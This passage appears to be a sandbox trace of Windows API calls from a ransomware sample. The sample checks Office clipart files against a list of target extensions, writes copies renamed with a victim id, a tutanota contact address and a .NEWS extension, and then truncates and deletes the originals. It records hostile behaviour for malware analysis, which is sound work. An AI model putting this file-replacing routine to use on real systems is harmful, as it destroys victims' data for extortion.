Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0174.095] lstrlenW (lpString=".jpg") returned 4 [0174.095] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0174.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0174.096] lstrlenW (lpString=".doc") returned 4 [0174.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.096] lstrlenW (lpString=".docx") returned 5 [0174.096] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0174.096] lstrlenW (lpString=".pdf") returned 4 [0174.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.096] lstrlenW (lpString=".xls") returned 4 [0174.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.096] lstrlenW (lpString=".xlsx") returned 5 [0174.096] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0174.096] lstrlenW (lpString=".ppt") returned 4 [0174.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0174.096] lstrlenW (lpString=".zip") returned 4 [0174.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.096] lstrlenW (lpString=".rar") returned 4 [0174.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.096] lstrlenW (lpString=".bz2") returned 4 [0174.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.096] lstrlenW (lpString=".7z") returned 3 [0174.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0174.096] lstrlenW (lpString=".dbf") returned 4 [0174.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0174.096] lstrlenW (lpString=".1cd") returned 4 [0174.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0174.096] lstrlenW (lpString=".jpg") returned 4 [0174.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.097] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.097] lstrlenW (lpString="J0105234.WMF") returned 12 [0174.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0174.098] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=3444) returned 1 [0174.098] CloseHandle (hObject=0x544) returned 1 [0174.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 0x220 [0174.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0174.099] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.099] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0174.100] GetLastError () returned 0x0 [0174.100] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0xd74, lpOverlapped=0x0) returned 1 [0174.101] WriteFile (in: hFile=0x4dc, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xd80, lpOverlapped=0x0) returned 1 [0174.102] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.102] WriteFile (in: hFile=0x4dc, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.102] SetEndOfFile (hFile=0x4dc) returned 1 [0174.102] CloseHandle (hObject=0x4dc) returned 1 [0174.103] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.103] SetEndOfFile (hFile=0x544) returned 1 [0174.248] CloseHandle (hObject=0x544) returned 1 [0174.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.249] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 1 [0174.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0174.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0174.250] lstrlenW (lpString=".doc") returned 4 [0174.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.250] lstrlenW (lpString=".docx") returned 5 [0174.250] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0174.250] lstrlenW (lpString=".pdf") returned 4 [0174.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.250] lstrlenW (lpString=".xls") returned 4 [0174.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.250] lstrlenW (lpString=".xlsx") returned 5 [0174.250] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0174.250] lstrlenW (lpString=".ppt") returned 4 [0174.250] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0174.250] lstrlenW (lpString=".zip") returned 4 [0174.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.250] lstrlenW (lpString=".rar") returned 4 [0174.250] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.250] lstrlenW (lpString=".bz2") returned 4 [0174.250] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.251] lstrlenW (lpString=".7z") returned 3 [0174.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0174.251] lstrlenW (lpString=".dbf") returned 4 [0174.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0174.251] lstrlenW (lpString=".1cd") returned 4 [0174.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0174.251] lstrlenW (lpString=".jpg") returned 4 [0174.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0174.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0174.251] lstrlenW (lpString=".doc") returned 4 [0174.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.251] lstrlenW (lpString=".docx") returned 5 [0174.251] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0174.251] lstrlenW (lpString=".pdf") returned 4 [0174.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.251] lstrlenW (lpString=".xls") returned 4 [0174.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.251] lstrlenW (lpString=".xlsx") returned 5 [0174.251] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0174.251] lstrlenW (lpString=".ppt") returned 4 [0174.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0174.251] lstrlenW (lpString=".zip") returned 4 [0174.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.251] lstrlenW (lpString=".rar") returned 4 [0174.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.251] lstrlenW (lpString=".bz2") returned 4 [0174.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.251] lstrlenW (lpString=".7z") returned 3 [0174.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0174.252] lstrlenW (lpString=".dbf") returned 4 [0174.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0174.252] lstrlenW (lpString=".1cd") returned 4 [0174.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0174.252] lstrlenW (lpString=".jpg") returned 4 [0174.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.252] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.252] lstrlenW (lpString="J0105238.WMF") returned 12 [0174.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0174.252] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=17172) returned 1 [0174.252] CloseHandle (hObject=0x544) returned 1 [0174.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 0x220 [0174.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0174.253] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.253] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0174.254] GetLastError () returned 0x0 [0174.254] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x4314, lpOverlapped=0x0) returned 1 [0174.258] WriteFile (in: hFile=0x370, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4320, lpOverlapped=0x0) returned 1 [0174.259] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.259] WriteFile (in: hFile=0x370, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.259] SetEndOfFile (hFile=0x370) returned 1 [0174.259] CloseHandle (hObject=0x370) returned 1 [0174.259] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.259] SetEndOfFile (hFile=0x544) returned 1 [0174.266] CloseHandle (hObject=0x544) returned 1 [0174.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 1 [0174.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0174.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0174.267] lstrlenW (lpString=".doc") returned 4 [0174.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.267] lstrlenW (lpString=".docx") returned 5 [0174.267] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0174.267] lstrlenW (lpString=".pdf") returned 4 [0174.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.268] lstrlenW (lpString=".xls") returned 4 [0174.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.268] lstrlenW (lpString=".xlsx") returned 5 [0174.268] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0174.268] lstrlenW (lpString=".ppt") returned 4 [0174.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0174.268] lstrlenW (lpString=".zip") returned 4 [0174.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.268] lstrlenW (lpString=".rar") returned 4 [0174.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.268] lstrlenW (lpString=".bz2") returned 4 [0174.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.268] lstrlenW (lpString=".7z") returned 3 [0174.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0174.268] lstrlenW (lpString=".dbf") returned 4 [0174.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0174.268] lstrlenW (lpString=".1cd") returned 4 [0174.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0174.268] lstrlenW (lpString=".jpg") returned 4 [0174.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0174.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0174.268] lstrlenW (lpString=".doc") returned 4 [0174.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.268] lstrlenW (lpString=".docx") returned 5 [0174.268] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0174.268] lstrlenW (lpString=".pdf") returned 4 [0174.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.268] lstrlenW (lpString=".xls") returned 4 [0174.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.269] lstrlenW (lpString=".xlsx") returned 5 [0174.269] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0174.269] lstrlenW (lpString=".ppt") returned 4 [0174.269] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0174.269] lstrlenW (lpString=".zip") returned 4 [0174.269] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.269] lstrlenW (lpString=".rar") returned 4 [0174.269] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.269] lstrlenW (lpString=".bz2") returned 4 [0174.269] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.269] lstrlenW (lpString=".7z") returned 3 [0174.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0174.269] lstrlenW (lpString=".dbf") returned 4 [0174.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0174.269] lstrlenW (lpString=".1cd") returned 4 [0174.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0174.269] lstrlenW (lpString=".jpg") returned 4 [0174.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.269] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.269] lstrlenW (lpString="J0105240.WMF") returned 12 [0174.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0174.270] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11532) returned 1 [0174.270] CloseHandle (hObject=0x544) returned 1 [0174.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 0x220 [0174.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0174.271] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.271] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0174.271] GetLastError () returned 0x0 [0174.271] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x2d0c, lpOverlapped=0x0) returned 1 [0174.273] WriteFile (in: hFile=0x4e8, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2d10, lpOverlapped=0x0) returned 1 [0174.274] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.274] WriteFile (in: hFile=0x4e8, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.274] SetEndOfFile (hFile=0x4e8) returned 1 [0174.275] CloseHandle (hObject=0x4e8) returned 1 [0174.275] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.275] SetEndOfFile (hFile=0x544) returned 1 [0174.278] CloseHandle (hObject=0x544) returned 1 [0174.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.278] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 1 [0174.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0174.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0174.279] lstrlenW (lpString=".doc") returned 4 [0174.279] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.279] lstrlenW (lpString=".docx") returned 5 [0174.279] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0174.279] lstrlenW (lpString=".pdf") returned 4 [0174.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.279] lstrlenW (lpString=".xls") returned 4 [0174.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.279] lstrlenW (lpString=".xlsx") returned 5 [0174.279] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0174.279] lstrlenW (lpString=".ppt") returned 4 [0174.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0174.279] lstrlenW (lpString=".zip") returned 4 [0174.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.279] lstrlenW (lpString=".rar") returned 4 [0174.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.279] lstrlenW (lpString=".bz2") returned 4 [0174.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.279] lstrlenW (lpString=".7z") returned 3 [0174.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0174.279] lstrlenW (lpString=".dbf") returned 4 [0174.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0174.279] lstrlenW (lpString=".1cd") returned 4 [0174.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0174.280] lstrlenW (lpString=".jpg") returned 4 [0174.280] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0174.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0174.280] lstrlenW (lpString=".doc") returned 4 